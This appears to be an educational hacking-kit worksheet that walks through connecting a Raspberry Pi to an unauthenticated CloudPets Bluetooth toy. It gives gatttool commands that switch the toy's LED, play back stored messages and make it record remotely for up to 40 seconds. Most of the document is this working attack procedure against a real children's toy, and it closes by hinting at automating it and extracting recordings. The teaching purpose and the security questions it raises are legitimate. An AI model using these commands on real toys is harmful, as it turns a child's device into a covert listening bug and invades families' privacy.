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CloudPets Hack 
Introduction 
Over the last 10 years a trend of connecting devices to the internet has increased, including devices 

like lightbulbs, fitness devices and toys. In March 2017 CloudPets revealed their online database of 

stored messages from parents and children had been breached, to the great concern of many 

parents. The CloudPets toys have since been removed from many online stores but are still available 

and their application is still available on Android and iOS. After the breach had been revealed a few 

cyber security specialists decided to focus on the CloudPets toy itself and its security regarding its 

Bluetooth connectivity. There are many ways to secure Bluetooth, including using an exchange of 

codes that only allow specific devices to connect and exchange information. This happens when you 

connect with a car Bluetooth and a code is required usually to connect and play through the car 

speakers. The CloudPets don’t use any kind of authentication to connect and it is possible to connect 

a Raspberry Pi and use its onboard Bluetooth capability to write information to the CloudPet to force 

commands without the application and any kind of authentication. By being able to connect to this 

device it can turn into a remote recording device that can record up to 40s at a time. It is possible to 

turn on the LED and playback different memory slots.  

Hardware Required 
Component Number (Peli Case)  Component Number (Box Case)  Component  

(Base) 4 & 5  (Base) 9  Raspberry Pi + Case  

(Level 1) 3  (Level 1) 1 Bag 11  USB Cable  

(Base) 5  (Base) 10 Bag 16  Raspbian SD Card  

(Base) 9  (Base) 8  TFT Screen  

(Level 1) 3  (Level 1) 1  HDMI Cable  

(Level 1) 3  (Level 1) 1  Keyboard  

(Level 1) 5  (Level 1) 5  Mouse  

(Level 1) 1  (Level 1) 4  Power Supply Unit  

 

CloudPet Hack Setup 
Step 1: Ensure that all the hardware required is taken out of the Peli case; 

Step 2: Insert the Raspbian SD Card into the SD card slot on the Raspberry Pi; 

Step 3 Insert the USB dongle for the wireless keyboard and mouse (or connect an external 
USB keyboard and mouse); 

Step 4: Connect the TFT Screen to the Raspberry Pi GPIO pins ensuring that the HDMI ports 
align on the side. Connect the HDMI to HDMI “U” shaped connector between the 
Raspberry Pi and the TFT Screen. (If using an external monitor connect the HDMI cable 
directly to the external monitor and you do not need to use the TFT Screen); 

Step 5: You are now ready to power on the Raspberry Pi. Plug in the power supply unit into 
your wall power outlet and connect the mini USB cable to the power socket on the 
Raspberry Pi. You should get a red light appear and a green/amber light flashing as the 
Raspberry Pi starts to boot up; 

Step 6 Open a terminal; 

Step 7: In the terminal type sudo apt-get install Bluetooth bluez python-
gobject python-gobject-2 python-bluez; 
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Step 8: To find the MAC address of the CloudPet click on the bluetooth icon at the top 
right of the screen (the left Bluetooth icon of the 2); 

Step 9: Click the Devices option; 

Step 10: A new window will open, press the Search button; 

Step 11: The CloudPets Bluetooth connection should appear (click the Search button a few 
more times if not); 

 
Step 12: Under the CloudPets B 1.0.19 there will be 2 more lines, one stating Unknown 

and the next line will be a MAC address (eg, 7C:EC:79:4F:91:AD) make sure you 
make a note of this MAC address; 

Step 13: Return to your terminal; 

Step 14: Type gatttool -i hci0 -b <cloudpets MAC address> -I and hit Enter; 

 
Step 15: Type connect and hit Enter; 
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Step 16: Type characteristics and hit Enter; 

 
Step 17: Type help and hit Enter; 

 
Step 18: Type char-write-cmd 0x0027 0100006400 – LED turns on and hit Enter; 

Step 19: Type char-write-cmd 0x0027 0000006400 – LED turns off and hit Enter; 

 
Step 20: Type char-write-cmd 0x0027 02f406400 – LED blinks and hit Enter; 

Step 21: Type char-write-cmd 0x0012 080101 – playback slot 1 and hit Enter; 

Step 22: Type char-write-cmd 0x0012 080102 – playback slot 2 and hit Enter; 

Step 23: Type char-write-cmd 0x0012 080200 – Record up to 40s and hit Enter; 

Step 24: To exit the gatttool type exit and hit Enter; 
Step 25: This is the end of this project and you can now shutdown and pack away your 

hardware. 

 

Conclusion 
In this project we have been able to connect to the CloudPet toy without needed to use the official 

app and turn the LED on and off, playback messages and record remotely without having to directly 

interact with the toy. There are many Bluetooth devices out there that use similar principles and do 

not require any authentication to connect to them. There are ways to interact with the process and 

extract commands that will allow you to take control of that device. The security implications are 

very significant and must be considered seriously. Should a toy that is Bluetooth or WiFi connected 

be able to be controlled like this remotely? What are the personal security implications of this kind 

of attack? What can be done to improve the toys so they are less insecure?  
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There are ways this project can be developed, the tool gatttool can be imported into a python script 

and this entire process can be automated. It is also possible to extract the information to a remote 

device such as the Raspberry Pi and listen to the recordings and upload further messages. Can you 

figure out how? The uploading to a remote device is very difficult and requires you to use other 

programming languages and techniques. But it has and can be done.  

If you figure it out, show us on twitter @cyberpiprojects.  

Resources 
Chirgwin, R., (2017) CloudPets’ Woes Worse: Webpages Can Turn Kids’ Stuffed Toys into Creepy 

Audio Bugs, available online at: 

https://www.theregister.co.uk/2017/03/01/cloudpets_woes_worsen_mics_can_be_pwned/ 

Stone, P., (2017) Hacking Unicorns with Web Bluetooth, available online at: 

https://www.contextis.com/en/blog/hacking-unicorns-web-bluetooth 

Pdjstone, (2017) CloudPets-Web-Bluetooth, available online at: 

https://github.com/pdjstone/cloudpets-web-bluetooth 

Damoun, (2017) Python Module to Control A CloudPets Toy, available online at: 

https://github.com/Damoun/cloudpets 

Thompson, E., (2017) The Hackable Home: Hug Me and Tell Me Your Secrets, available online at: 

https://www.surecloud.com/sc-blog/hackable-home-hug-tell-secrets 

Nebgnahz, (2015) Awesome IoT Hacks, available online at: https://github.com/nebgnahz/awesome-

iot-hacks 
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